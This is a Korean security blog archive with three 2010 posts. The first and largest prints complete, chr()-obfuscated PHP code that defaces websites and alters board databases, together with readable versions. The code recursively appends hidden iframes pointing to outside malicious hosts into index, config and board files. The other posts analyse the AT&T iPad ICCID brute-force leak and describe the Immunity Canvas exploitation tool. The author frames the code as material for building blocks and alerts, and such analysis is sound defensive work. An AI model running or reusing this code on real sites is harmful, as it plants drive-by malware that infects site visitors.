'공격코드'에 해당되는 글 13건

  1. 2010.12.28 Mass SQL Injection Attack Code (PHP, MySQL)
  2. 2010.06.11 아이패드 가입자 11만명 메일 주소 해킹 기법 분석
  3. 2010.03.26 Penetraton Testing 프로그램 - Immunity Canvas
2010.12.28 15:42

Mass SQL Injection Attack Code (PHP, MySQL)

* 홈페이지 변조 및 Mass SQL Injection을 통해 대량 악성코드 유포 발생
- 최근 공격 코드 유형 파악해서 차단이나 알람 대응 필요

# 홈페이지 변조 코드

function gmfun($path){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).
chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).
chr(35).chr(120).chr(51).chr(65).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).
chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(49).chr(59).chr(38).chr(35).chr(120).
chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(67).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).
chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).
chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(57).chr(59).chr(38).chr(35).chr(120).chr(54).chr(69).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(52).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).
chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).
chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(32).chr(119).chr(105).chr(100).
chr(116).chr(104).chr(61).chr(50).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).
chr(50).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$key=chr(105).
chr(110).chr(100).chr(101).chr(120).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(99).chr(111).
chr(110).chr(102).chr(105).chr(103).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(100).chr(101).
chr(102).chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(105).chr(110).chr(100).
chr(101).chr(120).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(100).chr(101).chr(102).
chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(122).chr(98).
chr(111).chr(97).chr(114).chr(100).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(108).chr(105).
chr(98).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(104).chr(111).chr(109).chr(101).chr(92).
chr(46).chr(112).chr(104).chr(112);$d = @dir($path);while(false !== ($v = $d->read())) {if($v == chr(46) || $v == chr(46).chr(46)) continue;$file = $d->path.chr(47).$v;if(@is_dir($file)) {gmfun($file);} else {if(@ereg(stripslashes($key),$file)) {$mm=stripcslashes( trim( $daima ) );$handle = @fopen ($file, chr(97));@fwrite($handle, $mm);@fclose($handle);echo $file.chr(60).chr(98).chr(114).chr(62);}}}$d->close();}set_time_limit(0);gmfun($_SERVER[DOCUMENT_ROOT]);

# Mass SQL Injection (제로보드)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$Code=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).
chr(99).chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).
chr(110).chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).
chr(47).chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).
chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).
chr(104).chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).
chr(101).chr(62);$a=chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).
chr(115).chr(101).chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(61).chr(67).
chr(79).chr(78).chr(67).chr(65).chr(84).chr(40).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(44).
chr(39).$Code.chr(39).chr(41);mysql_query($a);@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$Code='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$a='update $group_table set header=CONCAT(header,$Code);
mysql_query($a);
@mysql_close($connect);

# Mass SQL Injection (제로보드2)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).chr(116).chr(32).chr(110).
chr(97).chr(109).chr(101).chr(44).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(102).
chr(114).chr(111).chr(109).chr(32).$group_table);while ($qing = mysql_fetch_array($result, MYSQL_NUM
)){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).chr(110).
chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).
chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).
chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).
chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).
chr(62);$mm=stripcslashes( trim( $daima) );$kong;$oldheader = str_replace($mm,$kong,$qing[1]);$a=
chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).chr(115).chr(101).
chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(61).chr(32).chr(39).
$oldheader.chr(39).chr(32).chr(119).chr(104).chr(101).chr(114).chr(101).chr(32).chr(110).chr(97).chr(109).
chr(101).chr(61).chr(39).$qing[0].chr(39);mysql_query($a);}@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$result = mysql_query('select name,header from $group_table');
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
$daima='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$mm=stripcslashes( trim( $daima) );
$kong;
$oldheader = str_replace($mm,$kong,$qing[1]);
$a="update $group_table set header = '$oldheader' where name='$qing[0]'";
mysql_query($a);
}
@mysql_close($connect);

# Mass SQL Injection (그누보드)

$g4_path=chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47);include chr(46).chr(46).
chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(99).chr(111).chr(109).chr(109).chr(111).chr(110).
chr(46).chr(112).chr(104).chr(112);$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).
chr(116).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).chr(101).chr(44).chr(98).
chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(95).chr(104).chr(101).
chr(97).chr(100).chr(32).chr(102).chr(114).chr(111).chr(109).chr(32).$g4[board_table]);$daima=chr(60).
chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).chr(61).chr(34).
chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(114).
chr(111).chr(53).chr(50).chr(49).chr(46).chr(99).chr(111).chr(109).chr(47).chr(116).chr(101).chr(115).
chr(116).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).chr(105).chr(100).chr(116).chr(104).
chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).chr(48).chr(62).
chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$daima=stripcslashes(trim(
$daima));while ($qing = mysql_fetch_array($result, MYSQL_NUM)){if(strpos($qing[1],$daima)>0){    }
else{mysql_query(chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$g4[board_table].chr(32).
chr(115).chr(101).chr(116).chr(32).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).
chr(110).chr(116).chr(95).chr(104).chr(101).chr(97).chr(100).chr(61).chr(67).chr(79).chr(78).chr(67).chr(65).
chr(84).chr(40).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).
chr(95).chr(104).chr(101).chr(97).chr(100).chr(44).chr(39).chr(32).$daima.chr(39).chr(41).chr(32).chr(119).
chr(104).chr(101).chr(114).chr(101).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).
chr(101).chr(61).chr(39).$qing[0].chr(39));}}@mysql_close($connect);
# 정상코드
$g4_path='../../../';
include '../../../common.php';
$result = mysql_query('select bo_table,bo_content_head from $g4[board_table]');
$daima='<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>';
$daima=stripcslashes(trim($daima));
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
if(strpos($qing[1],$daima)>0){    }
else
{
mysql_query(update $g4[board_table] set bo_content_head=CONCAT(bo_content_head, $daima) where o_table='$qing[0]');
}
}
@mysql_close($connect);

Trackback 0 Comment 0
2010.06.11 19:10

아이패드 가입자 11만명 메일 주소 해킹 기법 분석

금일 오전 해외 IT 전문 미디어인 고커(Gawker) 웹 사이트는 웹사이트 "Apple's Worst Security Breach: 114,000 iPad Owners Exposed" 를 통해 미국의 통신사인 AT&T의 웹 사이트 해킹을 통해 아이패드(iPad) 사용자 11만명의 메일 주소를 유출된 사건이 발생하였다.


이 번  AT&T의 해킹 사건을 보도한 고커에서 공개한 아래 이미지와 같이 11만 4,067명의 아이패드 사용자들의 메일 주소가 공개되었다.


ASEC에서는 이번 AT&T의 웹 사이트 해킹이 어떠한 해킹 기법이 사용되었는지 자세한 조사와 분석을 진행하였다.


위 이미지와 같이 이 번 AT&T의 웹 사이트 해킹에 사용된 공격 코드는 해당 웹 사이트에 ICCID (Integrated Circuit Card ID) 값을 무차별 대입하여 메일 주소를 수집하는 방식이다.

특히 이 번에 알려진 공격 코드는 아이패드에서 요청한 것으로 위장하기 위해 HTTP의 유저 에이전트를 수정하도록 되어 있다.

$useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad

그리고 CURL 라이브러리를 이용하여 공격 URL을 요청하도록 하였다.

URL : https://***********.com/OEPClient/openPage?ICCID=무차별 생성된 ICCID&IMEI=0

이러한 방식으로 공격이 실제 진행 될 경우에는 에러가 발생할  경우 에러 내용과 ICCID 값을 출력하도록 하나 성공할 경우에는 ICCID 값에 해당 되는 이메일 주소를 리턴 되도록 하도록 되어 있다.

이러한 방식으로 진행된 공격으로 인해 약 11만명에 달하는 아이패드에 달하는 사용자의 메일 주소가 수집되어 공개되어 질 수 있게 된 것이다.


출처 : http://blog.ahnlab.com/

Trackback 0 Comment 0
2010.03.26 23:52

Penetraton Testing 프로그램 - Immunity Canvas

Immunity Canvas
[출처] http://blog.empas.com/yoon0258/list.html?p=10

1. 개요

Immunity Canvas는 수백 여개의 유효한 공격코드와, 자동화된 공격 시스템, 그리고 전세계의 모의해킹 테스터와 보안 전문가를 위한 광범위하고 신뢰할 수 있는 공격코드 개발 프레임워크를 만듭니다.

 

Immunity라는 회사에서 개발한 자동화된 Penetration Testing 프로그램입니다. 일명 자동 해킹공격 수행 프로그램입니다.
현재까지 개발된 것은 15가지 취약점에 대한 Exploiting까지 가능합니다.
기존의 취약점 스캐너들이 취약점 존재 여부만을 알려주지만, CANVAS는 취약점을 이용해서 실제로 시스템 침투까지 자동적으로 수행해 주는 특징이 있습니다.
프로그램만 구동해주면 툴이 알아서 취약점을 찾고 공격해서 시스템 권한을 획득해 줍니다.  기능이 기능인 만큼 돈 받고 파는 소프트웨어 입니다. 가격은 US $995입니다. 이것과 유사한 것으로 Metasploit 프로젝트도 있습니다. 상용으로는 Core impact 라는 툴이 있는데 상당히 고가입니다.

 

 

 

2. 소개

 

   1)  CANVAS 구동 초기화 

    

 

 

   2) CANVAS CLI 모드에서 해킹에 성공한 화면 

  

 


   3) 취약점 모듈

     


 

   4) 취약점 모듈을 통해 자동공격 실행

    


3. 참고

   - http://www.immunitysec.com/documentation/real_import.html
   - http://www.immunitysec.com/products-documentation.shtml


Trackback 0 Comment 0